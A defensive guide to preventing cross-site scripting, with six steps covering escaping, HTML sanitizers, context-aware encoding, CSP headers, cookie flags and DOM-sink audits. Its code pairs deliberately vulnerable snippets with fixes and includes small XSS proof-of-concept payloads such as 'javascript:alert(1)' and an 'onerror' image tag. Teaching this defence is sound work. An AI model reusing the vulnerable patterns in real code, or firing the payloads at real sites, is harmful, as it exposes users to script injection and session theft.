How to fix Cross-Site Scripting (XSS)

What an attacker can do

The concrete impact of leaving XSS (Cross-Site Scripting) unpatched.

How to fix XSS (Cross-Site Scripting)

6 ordered steps. Apply them in order — each builds on the previous.

1. 1

   Use auto-escaping templates / framework defaults

   Modern frameworks escape by default — use them as intended. React `{userInput}` text interpolation escapes HTML. Vue `{{ userInput }}`. Django templates auto-escape. Jinja2 `autoescape=True`. The XSS comes from opting OUT of these defaults.

   Audit every place you intentionally bypass escaping. There should be a comment explaining why and a test verifying the input is sanitized. If neither exists, the bypass is wrong.

   tsxStep 1

   // ❌ React — opting out of safety
   <div dangerouslySetInnerHTML={{ __html: userBio }} />
   
   // ✅ React — text interpolation auto-escapes
   <div>{userBio}</div>
   
   // ✅ React — if you NEED HTML, sanitize first
   import DOMPurify from "isomorphic-dompurify";
   <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userBio) }} />

2. 2

   Sanitize HTML when you need to render user-supplied markup

   For rich-text fields (comments, bios, blog content) where users legitimately need to bold things or add links, use a battle-tested HTML sanitizer with an allow-list — never write your own.

   DOMPurify is the standard for client-side. Bleach for Python. HTML Purifier for PHP. Sanitize for Ruby. Configure with the smallest tag set you can get away with — `<b>`, `<i>`, `<a href>`, `<p>`, `<br>`. Reject `<script>`, `<style>`, `<iframe>`, `on*` attributes, `javascript:` URIs.

   javascriptStep 2

   import DOMPurify from "dompurify";
   
   // Allow-list approach — explicit list of safe tags/attrs
   const safe = DOMPurify.sanitize(userInput, {
     ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "br", "ul", "ol", "li"],
     ALLOWED_ATTR: ["href", "title"],
     ALLOWED_URI_REGEXP: /^https?:\/\//,  // no javascript:, data:, file:
   });
   
   // Python (Bleach) equivalent:
   // import bleach
   // safe = bleach.clean(user_input, tags=['b','i','a','p','br'], attributes={'a': ['href','title']})

3. 3

   Escape context-appropriately when writing inline HTML

   If you must build HTML strings (legacy code, server-rendered templates, email templates), the escaping rules differ by context — HTML body, HTML attribute, JavaScript string, CSS, URL. Use libraries that know the context, not generic htmlspecialchars().

   OWASP's escape cheat sheet is the canonical reference. The big trap: `<script>var name = '${userInput}'</script>` — htmlspecialchars won't help here because we're inside a JavaScript string context, not HTML. The correct fix is JSON-encoding the value: `var name = ${JSON.stringify(userInput)}`.

   htmlStep 3

   <!-- ❌ Wrong — htmlspecialchars in JS context -->
   <script>var name = "<?= htmlspecialchars($name) ?>";</script>
   <!-- " in $name still breaks out of the JS string -->
   
   <!-- ✅ Right — JSON-encode for JS context -->
   <script>var name = <?= json_encode($name, JSON_HEX_TAG) ?>;</script>
   
   <!-- ❌ Wrong — htmlspecialchars in attribute context misses some payloads -->
   <a href="<?= htmlspecialchars($url) ?>">link</a>
   <!-- javascript:alert(1) is still valid -->
   
   <!-- ✅ Right — validate URL scheme + escape -->
   <a href="<?= htmlspecialchars(safe_url($url)) ?>">link</a>
   <!-- where safe_url() rejects anything not http(s):// -->

4. 4

   Implement Content Security Policy (CSP) as defense-in-depth

   CSP tells the browser "only execute scripts from these sources". When you have a missed XSS, CSP can stop the payload from running. It's not a primary defense but it converts "we leaked everything" into "the browser blocked it".

   Start in Report-Only mode to find what your app legitimately needs. Use nonces for inline scripts (`<script nonce='abc123'>`) — pure 'unsafe-inline' allow-list defeats the purpose. The strict-dynamic source allows scripts loaded by trusted scripts to load others, simplifying SPA setups.

   httpStep 4

   # Strict CSP for modern apps
   Content-Security-Policy:
     default-src 'self';
     script-src 'self' 'nonce-{RANDOM_PER_REQUEST}' 'strict-dynamic';
     style-src 'self' 'nonce-{RANDOM_PER_REQUEST}';
     object-src 'none';
     base-uri 'self';
     frame-ancestors 'none';
     form-action 'self';
     upgrade-insecure-requests;
     report-uri /api/csp-report
   
   # Express middleware (helmet):
   # app.use(helmet.contentSecurityPolicy({ useDefaults: true, directives: {...} }))
   
   # Next.js — set in next.config.ts headers() function

5. 5

   Set HttpOnly + Secure + SameSite on session cookies

   If XSS happens despite all the above, HttpOnly stops `document.cookie` from leaking the session. Combined with SameSite=Lax/Strict, you've removed the easiest cookie-theft path.

   Every session cookie should have all three flags. SameSite=Strict if your app doesn't need cross-site links to authenticated pages; otherwise SameSite=Lax (default in Chrome since 2020).

   javascriptStep 5

   // Express
   app.use(session({
     cookie: {
       httpOnly: true,    // not readable from JS
       secure: true,      // HTTPS only
       sameSite: "lax",   // or "strict"
       maxAge: 1000 * 60 * 60 * 24 * 7,
     },
   }));
   
   // Or set manually:
   res.setHeader("Set-Cookie",
     "sid=abc; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=604800");

6. 6

   Audit for DOM XSS sources/sinks in client-side code

   DOM XSS is invisible to server-side scanning. Search your client code for sources (`location.hash`, `document.URL`, `window.name`, `postMessage`) flowing into sinks (`innerHTML`, `eval`, `setTimeout(string)`, `document.write`).

   Use ESLint's `no-eval`, `no-implied-eval`, plus `eslint-plugin-security` for dynamic code rules. For React, lint against `dangerouslySetInnerHTML` without a sanitizer. For browser extensions and embedded widgets, especially audit `postMessage` handlers — they receive arbitrary cross-origin data.

   javascriptStep 6

   // ❌ DOM XSS — location.hash flows to innerHTML
   const fragment = location.hash.substring(1);
   document.getElementById("output").innerHTML = fragment;
   // URL: example.com/#<img src=x onerror=alert(1)>
   
   // ✅ Use textContent (escaped automatically)
   document.getElementById("output").textContent = fragment;
   
   // ❌ postMessage handler trusts everything
   window.addEventListener("message", (e) => {
     document.getElementById("widget").innerHTML = e.data;
   });
   
   // ✅ Validate origin + sanitize
   window.addEventListener("message", (e) => {
     if (e.origin !== "https://trusted.com") return;
     const data = typeof e.data === "string" ? DOMPurify.sanitize(e.data) : "";
     document.getElementById("widget").innerHTML = data;
   });